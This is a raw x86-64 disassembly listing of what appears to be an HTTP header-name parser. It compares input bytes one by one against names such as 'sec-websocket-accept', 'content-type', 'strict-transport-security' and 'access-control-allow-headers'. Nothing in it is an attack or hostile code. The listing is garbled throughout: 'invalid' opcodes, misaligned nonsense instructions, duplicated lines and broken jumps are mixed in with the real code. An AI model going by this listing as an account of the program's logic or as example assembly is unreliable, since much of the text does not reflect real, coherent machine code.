sbb al, 0x19
inc r11
cmp r10, r11
jne 0x14002e6e0
mov rbx, r9
mov rcx, r9
mov r14, r8
mov rdx, r8
call fcn.14002e800
cmp al, 0x51
jne 0x14002e738
mov rax, r14
cmp r14, 0xf
mov rcx, rdi
ja 0x14002e745
xor r8d, r8d
mov rdx, rbx
ror byte [rax - 0x77], 0xda
nop dword [rax]
cmp byte [rdx + r8], 0
je 0x14002e7e9
inc r8
inc eax
cmp rax, r8
jne 0x14002e720
jmp 0x14002e7df
add byte [rax], al
add byte [rax - 0x77], cl
stc
mov rcx, rdi
mov byte [rdi], al
mov sil, 2
jmp 0x14002e7e9
add ch, cl
movsb byte [rdi], byte [rsi]
add byte [rax], al
add byte [rax - 0x77], cl
fimul dword [rbp + rcx*4 + 0x43]
lea r8, [rbx + 7]
mov rdx, rbx
lea r8, [rbx + 7]
and r8, 0xfffffffffffffff8
sub r8, rbx
sub eax, ebx
sub eax, ebx
jne 0x14002e7a0
lea r9, [rax - 0x10]
xor r8d, r8d
movdqa xmm0, xmmword [0x140112770]
movabs r10, 0x8080808080808080
invalid
invalid
nop
nop
add byte [rax + 0x42f39066], 0xf
outsd dx, dword [rsi]
or al, 2
nop
movdqu xmm1, xmmword [rdx + r8]
movdqa xmm2, xmm1
paddq xmm2, xmm0
paddq mm2, mm0
paddq mm2, mm0
invalid
pandn xmm1, xmm2
pshufd xmm2, xmm1, 0xee
por xmm2, xmm1
movq r11, xmm2
test r11, r10
jne 0x14002e7c8
invalid
add r8, 0x10
cmp r8, r9
jbe 0x14002e770
shr bl, cl
sub byte [rcx + 0x39], cl
ror byte [rdi + rcx + 0x43], 0xc0
cmovae r8, rax
jmp 0x14002e7c8
cmp r8, rax
cmp eax, eax
cmovae r8, rax
xor r9d, r9d
nop word [rax + rax]
cmp byte [rdx + r9], 0
je 0x14002e7e9
inc r9
cmp r8, r9
jne 0x14002e7b0
lea r9, [rax - 0x10]
cmp r8, r9
jbe 0x14002e75c
cmp r8, rax
je 0x14002e7df
nop dword [rax]
cmp byte [rdx + r8], 0
je 0x14002e7e9
inc r8
cmp rax, r8
invalid
jne case.0x140028ada.147
sal byte [rbp - 0xf], 0x48
mov dword [rcx], edx
mov qword [rcx], rdx
mov qword [rcx + 8], rax
mov sil, 1
mov byte [rcx + 0x10], sil
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
add edx, 0xfffffffe
cmp rdx, 0x21
ja case.0x14002f13e.103
xchg dword [rcx + 0x2a], ebx
add byte [rax], al
cli
and dword [rdi], ecx
xchg dword [rcx + 0x2a], ebx
add byte [rax], al
sub al, byte [rax]
add byte [rbp + rcx*4 + 5], cl
leave
jnp 0x14002e82a
lea r8, [0x1401763e0]
movsxd rdx, dword [r8 + rdx*4]
add byte [rcx + 0x63], cl
adc al, 0x90
add rdx, r8
jmp rdx
invalid
loop 0x14002e7a1
cmp byte [rcx], 0x74
jne case.0x14002f13e.103
cmp dword [rdi + rcx - 0x7b], esi
sub al, byte [rax]
add byte [rax + 0x4165b243], dh
mov eax, 1
add dword [rax], eax
add byte [rax], al
mov al, 0x43
mov dl, 0x65
mov r10b, 0x65
mov r8d, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rdx + 0x38], al
adc al, 1
cmp byte [rcx + r8], dl
movzx ecx, al
mov eax, 0x51
push rcx
add byte [rax], al
add byte [rdi], cl
shr ecx, 0x22
sub al, byte [rax]
add byte [rax], al
push rcx
add byte [rax], al
add byte [rdi], cl
shr ecx, 0x22
sub al, byte [rax]
add byte [rax], al
cmp byte [rcx], 0x73
jne case.0x14002f13e.103
invalid
add byte [rax], al
cmp byte [rcx], 0x73
jne case.0x14002f13e.103
invalid
cmp byte [rcx + 1], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x63
jne case.0x14002f13e.103
add ah, byte [rbx + 0xf]
test dword [0xc002e88f], eax
jns 0x14002e86a
cmp byte [rcx + 3], 0x2d
jne case.0x14002f13e.103
sub eax, 0x29fb850f
add byte [rax], al
sti
sub dword [rax], eax
add byte [rax + 0xf770479], al
jns 0x14002e875
ja 0x14002e882
cmp byte [rcx + 4], 0x77
jne case.0x14002f13e.103
int1
sub dword [rax], eax
invalid
jns 0x14002e875
ja 0x14002e882
test ecx, esi
int1
sub dword [rax], eax
add byte [rax + 0xf650579], al
test edi, esp
sub dword [rax], eax
add byte [rax + 0xf620679], al
test ebp, ebx
sub dword [rax], eax
add byte [rax + 0xf730779], al
test ebx, edx
sub dword [rax], eax
add byte [rax + 0xf6f0879], al
test ecx, ecx
sub dword [rax], eax
add byte [rax + 0xf630979], al
jns 0x14002e8ac
invalid
jne case.0x14002f13e.103
invalid
jns 0x14002e8b7
cmp byte [rcx + 5], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x62
jne case.0x14002f13e.103
cmp byte [rcx + 7], 0x73
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 9], 0x63
jne case.0x14002f13e.103
jns 0x14002e8ac
invalid
cmp byte [rcx + 0xa], 0x6b
jne case.0x14002f13e.103
or ch, byte [rbx + 0xf]
test dword [rbp - 0x7fffffd7], esi
jns 0x14002e8c2
imul ecx, dword [rdi], 0xffffff85
mov ch, 0x29
add byte [rax], al
cmp byte [rcx + 0xb], 0x65
jne case.0x14002f13e.103
jne case.0x14002f13e.103
cmp byte [rcx + 0xc], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 0xd], 0x2d
jne case.0x14002f13e.103
sub dword [rax], eax
invalid
sub dword [rax], eax
add byte [rax + 0xf610e79], al
test dword [rbp - 0x7fffffd7], ecx
jns 0x14002e8ee
cmp byte [rcx + 0xe], 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 0xf], 0x63
jne case.0x14002f13e.103
invalid
cmp byte [rcx + 0x10], 0x63
jne case.0x14002f13e.103
add byte [rax], al
cmp byte [rcx + 0x11], 0x65
jne case.0x14002f13e.103
test dword [rdi + 0x29], ebp
add byte [rax], al
test dword [rdi + 0x29], ebp
add byte [rax], al
cmp byte [rcx + 0x12], 0x70
jne case.0x14002f13e.103
jns 0x14002e90f
jo 0x14002e90e
test dword [rbp + 0x29], esp
add byte [rax], al
mov al, 0x3b
mov dl, 0x74
mov r8d, 0x13
mov eax, 0x13
mov eax, 0x13
add byte [rax], al
add cl, ch
jmp 0x14002e833
and bh, bh
invalid
cmp byte [rcx], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 1], 0x6f
jne case.0x14002f13e.103
invalid
add byte [rax + 0xf6e0279], al
test dword [rcx], edi
cmp byte [rcx + 2], 0x6e
jne case.0x14002f13e.103
sub dword [rax], eax
invalid
sub dword [rax], eax
add byte [rax + 0xf740379], al
test dword [rdi], ebp
sub dword [rax], eax
add byte [rax + 0xf650479], al
test dword [0xc002e96e], esp
invalid
invalid
jns 0x14002e94c
cmp byte [rcx + 3], 0x74
jne case.0x14002f13e.103
outsb dx, byte [rsi]
jne case.0x14002f13e.103
add byte [rax], al
cmp byte [rcx + 6], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 7], 0x2d
jne case.0x14002f13e.103
test dword [rdi], eax
sub dword [rax], eax
invalid
jns 0x14002e962
sub eax, 0x2907850f
add byte [rax], al
test dword [rdi], eax
sub dword [rax], eax
add byte [rax + 0xf730879], al
jns 0x14002e96d
jae 0x14002e976
cmp byte [rcx + 8], 0x73
jne case.0x14002f13e.103
jns 0x14002e96d
jae 0x14002e976
test ebp, edi
sub byte [rax], al
add byte [rax + 0xf650979], al
test ebx, esi
sub byte [rax], al
add byte [rax + 0xf630a79], al
or ah, byte [rbx + 0xf]
cmp byte [rcx + 9], 0x65
jne case.0x14002f13e.103
jns case.0x14002a645.498
jne case.0x14002f13e.103
cmp byte [rcx + 0xa], 0x63
jne case.0x14002f13e.103
or ah, byte [rbx + 0xf]
test ecx, ebp
sub byte [rax], al
add byte [rax + 0xf750b79], al
test edi, ebx
sub byte [rax], al
add byte [rax + 0xf720c79], al
test ebp, edx
sub byte [rax], al
add byte [rax + 0xf690d79], al
test ebx, ecx
retf
sub byte [rax], al
cmp byte [rcx + 0xb], 0x75
jne case.0x14002f13e.103
cmp byte [rcx + 0xc], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 0xd], 0x69
jne case.0x14002f13e.103
retf
sub byte [rax], al
invalid
retf
add byte [rax + 0xf740e79], al
test ecx, eax
sub byte [rax], al
add byte [rax + 0xf790f79], al
test dword [rdi - 0x7fffffd8], esi
invalid
invalid
jns case.0x14002aa4e.87
cmp byte [rcx + 0xe], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 0xf], 0x79
jne case.0x14002f13e.103
invalid
add byte [rax + 0xf2d1079], al
test dword [rbp - 0x7fffffd8], ebp
sub byte [rax], al
invalid
invalid
jns 0x14002e9d0
cmp byte [rcx + 0x10], 0x2d
jne case.0x14002f13e.103
sub byte [rax], al
invalid
sub eax, 0x28ad850f
add byte [rax], al
sub byte [rax], al
add byte [rax + 0xf701179], al
cmp byte [rcx + 0x11], 0x70
jne case.0x14002f13e.103
invalid
jo 0x14002e9d0
test dword [rbx - 0x7fffffd8], esp
jns 0x14002e9db
add byte [rax + 0xf6f1279], al
test dword [rcx - 0x7fffffd8], ebx
jns 0x14002e9e6
cmp byte [rcx + 0x12], 0x6f
outsd dx, dword [rsi]
jne case.0x14002f13e.103
cmp byte [rcx + 0x13], 0x6c
insb byte [rdi], dx
jne case.0x14002f13e.103
cmp byte [rcx + 0x14], 0x69
jne case.0x14002f13e.103
invalid
test dword [rax], ebp
sub byte [rax], al
invalid
jns 0x14002e9f1
imul ecx, dword [rdi], 0x288585
sub byte [rax], al
add byte [rax + 0xf631579], al
test dword [rbx + 0x28], edi
add byte [rax], al
cmp byte [rcx + 0x15], 0x63
jne case.0x14002f13e.103
jns 0x14002e9fc
adc eax, 0x7b850f63
sub byte [rax], al
add byte [rax + 0x4179b21b], dh
invalid
mov al, 0x1b
mov dl, 0x79
mov r8d, 0x16
jns 0x14002ea34
mov eax, 0x16
jmp 0x14002e833
dec dword [rdi]
mov dh, 0x11
movzx edx, byte [rcx]
add edx, 0xffffff9f
cmp edx, 0x17
ja case.0x14002f13e.103
lea r8, [0x140176588]
movsxd rdx, dword [r8 + rdx*4]
adc al, 0x90
adc al, 0x90
add rdx, r8
jmp rdx
invalid
loop 0x14002e99d
jns 0x14002ea20
invalid
jne case.0x14002f13e.103
sub byte [rax], al
add byte [rax + 0xf630279], al
test dword [rcx], edi
sub byte [rax], al
add byte [rax + 0xf650379], al
test dword [rdi], ebp
cmp byte [rcx + 2], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 3], 0x65
jne case.0x14002f13e.103
sub byte [rax], al
add byte [rax + 0xf700479], al
test dword [0xc002ea6d], esp
jns case.0x14001a8c7.445
invalid
cmp byte [rcx + 4], 0x70
jne case.0x14002f13e.103
add eax, 0x1b850f74
je 0x14002ea58
test dword [rbx], ebx
sub byte [rax], al
add byte [rax + 0xf2d0679], al
test dword [rcx], edx
sub byte [rax], al
add byte [rdi], cl
mov dh, 0x51
invalid
add byte [rax], al
cmp byte [rcx + 6], 0x2d
jne case.0x14002f13e.103
movzx edx, byte [rcx + 7]
cmp edx, 0x6c
je 0x140031106
invalid
add byte [rbx - 0x7af09a06], al
sti
invalid
cmp edx, 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x6e
jne case.0x14002f13e.103
int1
invalid
add byte [rax], al
int1
invalid
cmp byte [rcx + 9], 0x63
jne case.0x14002f13e.103
test edi, esp
invalid
add byte [rax], al
test edi, esp
invalid
cmp byte [rcx + 0xa], 0x6f
jne case.0x14002f13e.103
frstor dword [rdi]
add byte [rax], al
frstor dword [rdi]
add byte [rax], al
cmp byte [rcx + 0xb], 0x64
jne case.0x14002f13e.103
cmp byte [rcx + 0xc], 0x69
jne case.0x14002f13e.103
cmp byte [rcx + 0xd], 0x6e
jns 0x14002eab0
outsb dx, byte [rsi]
jne case.0x14002f13e.103
mov al, 2
mov dl, 0x67
mov r8d, 0xe
mov eax, 0xe
mov eax, 0xe
invalid
jmp 0x14002e833
cmp byte [rcx], 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 1], 0x63
jne case.0x14002f13e.103
invalid
add byte [rax + 0xf630279], al
cmp byte [rcx + 2], 0x63
jne case.0x14002f13e.103
invalid
xchg ebx, eax
invalid
add byte [rax], al
test dword [rbx - 0x7fffffd9], edx
jns 0x14002eadc
cmp byte [rcx + 3], 0x65
jne case.0x14002f13e.103
jne case.0x14002f13e.103
mov dword [rdi], esp
add byte [rax], al
cmp byte [rcx + 4], 0x73
jne case.0x14002f13e.103
test dword [rdi + 0x27], edi
add byte [rax], al
test dword [rdi + 0x27], edi
add byte [rax], al
cmp byte [rcx + 5], 0x73
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 7], 0x63
jne case.0x14002f13e.103
invalid
cmp byte [rcx + 8], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 9], 0x6e
jne case.0x14002f13e.103
jb 0x14002eb3a
test dword [rcx], edi
invalid
test dword [rdi], ebp
invalid
cmp byte [rcx + 0xd], 0x6c
jne case.0x14002f13e.103
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 0xf], 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 0x10], 0x6c
jne case.0x14002f13e.103
cmp byte [rcx + 0x11], 0x6c
jne case.0x14002f13e.103
cmp byte [rcx + 0x12], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 0x13], 0x77
jne case.0x14002f13e.103
cmp byte [rcx + 0x14], 0x2d
jne case.0x14002f13e.103
test edi, ebx
add byte es:[rax], al
test edi, ebx
add byte es:[rax], al
movzx edx, byte [rcx + 0x15]
cmp edx, 0x6d
je 0x14003123c
add byte [rax], al
add byte [rax], al
cmp edx, 0x68
jne case.0x14002f13e.103
cmp byte [rcx + 0x16], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0x17], 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 0x18], 0x64
jne case.0x14002f13e.103
cmp byte [rcx + 0x19], 0x65
jne case.0x14002f13e.103
jne case.0x14002f13e.103
cmp byte [rcx + 0x1a], 0x72
jne case.0x14002f13e.103
mov al, 6
jmp 0x14003125c
movzx edx, byte [rcx]
cmp edx, 0x75
je 0x14002fdda
adc dword [rbx - 0x7bf08a06], eax
cmc
adc dword [rax], eax
add byte [rbx - 0x7af08c06], al
cmp edx, 0x73
invalid
test dword [rbx + 0x26], edi
cmp edx, 0x73
jne case.0x14002f13e.103
invalid
add byte [rax], al
add byte [rax + 0xf740179], al
cmp byte [rcx + 1], 0x74
jns 0x14002ebf2
je 0x14002ec02
jne case.0x14002f13e.103
test dword [rcx + 0x26], esi
add byte [rax], al
cmp byte [rcx + 2], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 3], 0x69
jne case.0x14002f13e.103
invalid
add byte [rax + 0xf630479], al
test dword [rbx + 0x26], edx
add byte [rax], al
cmp byte [rcx + 4], 0x63
jne case.0x14002f13e.103
invalid
push rbx
add byte es:[rax], al
cmp byte [rcx + 5], 0x74
jne case.0x14002f13e.103
test dword [rcx + 0x26], ecx
add byte [rax], al
test dword [rcx + 0x26], ecx
add byte [rax], al
cmp byte [rcx + 6], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 7], 0x74
jne case.0x14002f13e.103
invalid
invalid
add byte es:[rax], al
test dword [0xc002ec5b], esi
jns case.0x140028ada.51
cmp byte [rcx + 8], 0x72
jne case.0x14002f13e.103
jb 0x14002ec48
test dword [rbx], ebp
add byte es:[rax], al
cmp byte [rcx + 9], 0x61
jne case.0x14002f13e.103
jns 0x14002ec4a
invalid
cmp byte [rcx + 0xa], 0x6e
jne case.0x14002f13e.103
or ch, byte [rsi + 0xf]
test dword [rdi], edx
add byte es:[rax], al
cmp byte [rcx + 0xb], 0x73
jne case.0x14002f13e.103
add byte es:[rax], al
cmp byte [rcx + 0xc], 0x70
jne case.0x14002f13e.103
cmp byte [rcx + 0xd], 0x6f
jne case.0x14002f13e.103
invalid
add byte [rax + 0xf720e79], al
test edi, ebp
and eax, 0x79800000
pcmpeqb mm1, qword [rdi]
test ebp, esp
and eax, 0x79800000
add byte [rax + 0xf2d1079], al
test ebx, ebx
invalid
cmp byte [rcx + 0xe], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 0xf], 0x74
jne case.0x14002f13e.103
invalid
add byte [rax + 0xf2d1079], al
test ebx, ebx
and eax, 0x79800000
add byte [rax + 0xf731179], al
cmp byte [rcx + 0x10], 0x2d
jne case.0x14002f13e.103
invalid
jns 0x14002ec97
sub eax, 0x25db850f
add byte [rax], al
add byte [rax + 0xf731179], al
cmp byte [rcx + 0x11], 0x73
jne case.0x14002f13e.103
test ecx, edx
and eax, 0x79800000
adc ah, byte [rbp + 0xf]
add byte [rax + 0xf651279], al
cmp byte [rcx + 0x12], 0x65
jne case.0x14002f13e.103
invalid
add byte [rax], al
test edi, eax
and eax, 0x79800000
adc esp, dword [rbx + 0xf]
test dword [rbp - 0x7fffffdb], edi
jns 0x14002ecc3
cmp byte [rcx + 0x13], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 0x14], 0x75
jne case.0x14002f13e.103
jne 0x14002ecc0
test dword [rbx - 0x7fffffdb], esi
jns 0x14002ecce
cmp byte [rcx + 0x15], 0x72
jne case.0x14002f13e.103
jb 0x14002ecca
test dword [rcx - 0x7fffffdb], ebp
jns 0x14002ecd9
cmp byte [rcx + 0x16], 0x69
jne case.0x14002f13e.103
imul ecx, dword [rdi], 0x259f85
add byte [rax + 0xf741779], al
jns 0x14002ece4
je 0x14002ecde
cmp byte [rcx + 0x17], 0x74
jns 0x14002ece4
je 0x14002ecde
jne case.0x14002f13e.103
test dword [rbp - 0x4fffffdb], edx
mov dl, 0x79
mov r8d, 0x18
add byte [rax + 0x4179b242], dh
mov eax, 0x18
jmp 0x14002e833
movzx edx, byte [rcx]
mov dh, 0x11
cmp edx, 0x6d
cli
insd dword [rdi], dx
je 0x14002fecf
cmp edx, 0x63
jne case.0x14002f13e.103
invalid
add byte [rdi], cl
mov dh, 0x51
add dword [rbx - 0x7bf09e06], eax
lahf
and dword [rax], eax
add byte [rax], al
cmp edx, 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x6e
jne case.0x14002f13e.103
movzx edx, byte [rcx + 1]
cmp edx, 0x61
je 0x140030ea4
add byte [rax], al
add byte [rax], al
cmp edx, 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x6e
jne case.0x14002f13e.103
cmp byte [rcx + 3], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 4], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 5], 0x6e
jne case.0x14002f13e.103
invalid
add byte [rax], al
and eax, 0x79800000
invalid
cmp byte [rcx + 6], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 7], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 9], 0x79
jne case.0x14002f13e.103
cmp byte [rcx + 0xa], 0x70
jne case.0x14002f13e.103
jns 0x14002ed6b
jo 0x14002ed72
test dword [rcx], eax
and eax, 0x1db00000
mov al, 0x1d
mov dl, 0x65
mov r8d, 0xb
mov r8d, 0xb
jmp 0x14002e833
cli
invalid
cmp byte [rcx], 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 1], 0x63
jne case.0x14002f13e.103
invalid
cmp byte [rcx + 2], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 3], 0x65
jne case.0x14002f13e.103
jns 0x14002eda5
jae 0x14002edb2
test ecx, eax
and al, 0
add byte [rax + 0xf730579], al
jae 0x14002edbc
jae 0x14002edbc
test dword [rdi - 0x7fffffdc], esi
cmp byte [rcx + 6], 0x2d
jne case.0x14002f13e.103
jns 0x14002edbb
sub eax, 0x24ad850f
add byte [rax], al
add byte [rax + 0xf630779], al
test dword [rbx - 0x7fffffdc], esp
cmp byte [rcx + 7], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x6f
jns 0x14002edd1
outsd dx, dword [rsi]
jne case.0x14002f13e.103
cmp byte [rcx + 9], 0x6e
jns 0x14002eddc
outsb dx, byte [rsi]
jne case.0x14002f13e.103
cmp byte [rcx + 0xa], 0x74
jne case.0x14002f13e.103
add byte [rax], al
or dh, byte [rdi + rcx - 0x7b]
test dword [rax + rax], esp
invalid
add byte [rax], al
add byte [rax + 0xf720b79], al
test dword [rbx + 0x24], edi
add byte [rax], al
cmp byte [rcx + 0xb], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 0xc], 0x6f
or al, 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 0xd], 0x6c
jne case.0x14002f13e.103
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 0xf], 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 0x10], 0x6c
jns 0x14002ee29
insb byte [rdi], dx
jne case.0x14002f13e.103
cmp byte [rcx + 0x11], 0x6c
jne case.0x14002f13e.103
add byte [rax + 0xf6f1279], al
test dword [0xc002ee59], esi
jns 0x14002ee4a
cmp byte [rcx + 0x12], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 0x13], 0x77
jne case.0x14002f13e.103
ja 0x14002ee48
test dword [rbx], ebp
and al, 0
add byte [rax + 0xf2d1479], al
cmp byte [rcx + 0x14], 0x2d
jne case.0x14002f13e.103
test dword [rcx], esp
and al, 0
invalid
test dword [rcx], esp
and al, 0
add byte [rax + 0xf631579], al
test dword [rdi], edx
invalid
cmp byte [rcx + 0x15], 0x63
jne case.0x14002f13e.103
invalid
and al, 0
invalid
adc eax, 0x17850f63
invalid
and al, 0
add byte [rax + 0xf721679], al
jns 0x14002ee6b
jb 0x14002ee66
cmp byte [rcx + 0x16], 0x72
jne case.0x14002f13e.103
and al, 0
invalid
jns 0x14002ee6b
jb 0x14002ee66
test dword [0xc002ee81], ecx
jns 0x14002ee76
and al, 0
add byte [rax + 0xf651779], al
test dword [rbx], eax
and al, 0
add byte [rax + 0xf641879], al
cmp byte [rcx + 0x17], 0x65
jne case.0x14002f13e.103
jne case.0x14002f13e.103
cmp byte [rcx + 0x18], 0x64
jne case.0x14002f13e.103
test ecx, edi
and eax, dword [rax]
add byte [rax + 0xf651979], al
cmp byte [rcx + 0x19], 0x65
jne case.0x14002f13e.103
test edi, ebp
and eax, dword [rax]
invalid
test edi, ebp
out dx, eax
and eax, dword [rax]
add byte [rax + 0xf6e1a79], al
cmp byte [rcx + 0x1a], 0x6e
jne case.0x14002f13e.103
test ebp, esp
and eax, dword [rax]
invalid
test ebp, esp
and eax, dword [rax]
add byte [rax + 0xf741b79], al
test ebx, ebx
and eax, dword [rax]
add byte [rax + 0xf691c79], al
cmp byte [rcx + 0x1c], 0x69
jne case.0x14002f13e.103
cmp byte [rcx + 0x1d], 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 0x1e], 0x6c
invalid
cmp byte [rcx + 0x1b], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 0x1c], 0x69
jne case.0x14002f13e.103
cmp byte [rcx + 0x1d], 0x61
jne case.0x14002f13e.103
invalid
cmp byte [rcx + 0x1e], 0x6c
jns 0x14002eec3
insb byte [rdi], dx
jne case.0x14002f13e.103
test dword [rbp - 0x4fffffdd], edi
add eax, 0xb84173b2
mov al, 5
mov dl, 0x73
mov r8d, 0x1f
invalid
jmp 0x14002e833
js 0x14002eeb2
invalid
cmp byte [rcx], 0x73
jne case.0x14002f13e.103
cmp dword [rbx + 0xf], esi
test dword [rbp - 0x7fffffdd], esp
jns 0x14002eec8
add byte [rax + 0xf650179], al
test dword [rbx - 0x7fffffdd], ebx
jns 0x14002eed3
cmp byte [rcx + 1], 0x65
jne case.0x14002f13e.103
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x63
jne case.0x14002f13e.103
invalid
invalid
test dword [rcx - 0x7fffffdd], edx
jns 0x14002eede
add byte [rax + 0xf2d0379], al
test dword [rdi - 0x7fffffdd], eax
jns 0x14002eee9
cmp byte [rcx + 3], 0x2d
jne case.0x14002f13e.103
sub eax, 0x2387850f
xchg dword [rbx], esp
add byte [rax], al
cmp byte [rcx + 4], 0x77
jne case.0x14002f13e.103
ja 0x14002eef6
test dword [rbp + 0x23], edi
add byte [rax], al
and eax, dword [rax]
add byte [rax + 0xf650579], al
jne case.0x14002f13e.103
cmp byte [rcx + 5], 0x65
jne case.0x14002f13e.103
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x62
jne case.0x14002f13e.103
test dword [rcx + 0x23], ebp
add byte [rax], al
test dword [rcx + 0x23], ebp
add byte [rax], al
cmp byte [rcx + 7], 0x73
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x6f
jns 0x14002ef15
outsd dx, dword [rsi]
jne case.0x14002f13e.103
cmp byte [rcx + 9], 0x63
jne case.0x14002f13e.103
add byte [rax], al
jns case.0x14002b1c9.265
invalid
add byte [rax], al
cmp byte [rcx + 0xa], 0x6b
or ch, byte [rbx + 0xf]
test dword [rcx + 0x23], eax
add byte [rax], al
jne case.0x14002f13e.103
cmp byte [rcx + 0xb], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0xc], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 0xd], 0x2d
jne case.0x14002f13e.103
and eax, dword [rax]
invalid
and eax, dword [rax]
add byte [rax + 0xf650e79], al
test dword [rcx], ebx
and eax, dword [rax]
add byte [rax + 0xf780f79], al
test dword [rdi], ecx
cmp byte [rcx + 0xe], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0xf], 0x78
jne case.0x14002f13e.103
and eax, dword [rax]
invalid
and eax, dword [rax]
add byte [rax + 0xf741079], al
adc byte [rdi + rcx - 0x7b], dh
add eax, 0x80000023
cmp byte [rcx + 0x10], 0x74
jne case.0x14002f13e.103
adc byte [rdi + rcx - 0x7b], dh
add eax, 0x80000023
cmp byte [rcx + 0x11], 0x65
jne case.0x14002f13e.103
and al, byte [rax]
invalid
jns 0x14002ef78
jne case.0x14002f13e.103
and al, byte [rax]
add byte [rax + 0xf6e1279], al
outsb dx, byte [rsi]
invalid
cmp byte [rcx + 0x12], 0x6e
outsb dx, byte [rsi]
jne case.0x14002f13e.103
test ecx, esi
and al, byte [rax]
add byte [rax + 0xf731379], al
test edi, esp
and al, byte [rax]
add byte [rax], al
cmp byte [rcx + 0x14], 0x69
jne case.0x14002f13e.103
cmp byte [rcx + 0x15], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 0x16], 0x6e
jne case.0x14002f13e.103
mov al, 0x3c
mov dl, 0x73
mov r8d, 0x17
add byte [rax], al
invalid
cmp byte [rcx + 0x13], 0x73
jne case.0x14002f13e.103
add byte [rax], al
cmp byte [rcx + 0x14], 0x69
jne case.0x14002f13e.103
cmp byte [rcx + 0x15], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 0x16], 0x6e
jns case.0x14002e81e.12
outsb dx, byte [rsi]
jne case.0x14002f13e.103
mov al, 0x3c
mov dl, 0x73
mov r8d, 0x17
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
test al, bh
invalid
jmp 0x14002e833
movzx edx, byte [rcx]
mov dh, 0x11
cmp edx, 0x63
je 0x14002ff3a
cmp edx, 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 1], 0x63
jns 0x14002efc8
invalid
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x63
jne case.0x14002f13e.103
add byte [rax], al
cmp byte [rcx + 4], 0x70
jne case.0x14002f13e.103
cmp byte [rcx + 5], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x2d
jne case.0x14002f13e.103
and al, byte [rax]
invalid
and al, byte [rax]
add byte [rax + 0xf630779], al
test dword [rdi + 0x22], ebx
and al, byte [rax]
invalid
cmp byte [rcx + 7], 0x63
jne case.0x14002f13e.103
and al, byte [rax]
invalid
and al, byte [rax]
add byte [rax + 0xf680879], al
test dword [rbp + 0x22], edx
add byte [rax], al
cmp byte [rcx + 8], 0x68
jne case.0x14002f13e.103
cmp byte [rcx + 9], 0x61
jne case.0x14002f13e.103
test dword [rbx + 0x22], ecx
add byte [rax], al
test dword [rbx + 0x22], ecx
add byte [rax], al
cmp byte [rcx + 0xa], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 0xb], 0x73
jne case.0x14002f13e.103
test dword [rdi], esi
and al, byte [rax]
invalid
test dword [rdi], esi
and al, byte [rax]
add byte [rax + 0xf650c79], al
jns 0x14002f041
jne case.0x14002f13e.103
mov al, 1
mov dl, 0x74
invalid
invalid
invalid
add byte [rax], al
cmp byte [rcx + 0xc], 0x65
jne case.0x14002f13e.103
jns 0x14002f041
jne case.0x14002f13e.103
mov al, 1
mov dl, 0x74
mov r8d, 0xd
invalid
mov eax, 0xd
add cl, ch
call 0xc102f043
invalid
inc dword [rax - 0x7af08cc7]
cmp byte [rcx], 0x73
jne case.0x14002f13e.103
invalid
jns 0x14002f058
jmp 0x14002e833
invalid
cmp byte [rcx], 0x73
jne case.0x14002f13e.103
cmp byte [rcx + 1], 0x65
jne case.0x14002f13e.103
jne case.0x14002f13e.103
and al, byte [rax]
add byte [rax + 0xf630279], al
test dword [rcx], eax
and al, byte [rax]
add byte [rax + 0xf2d0379], al
invalid
test edi, esi
cmp byte [rcx + 2], 0x63
jne case.0x14002f13e.103
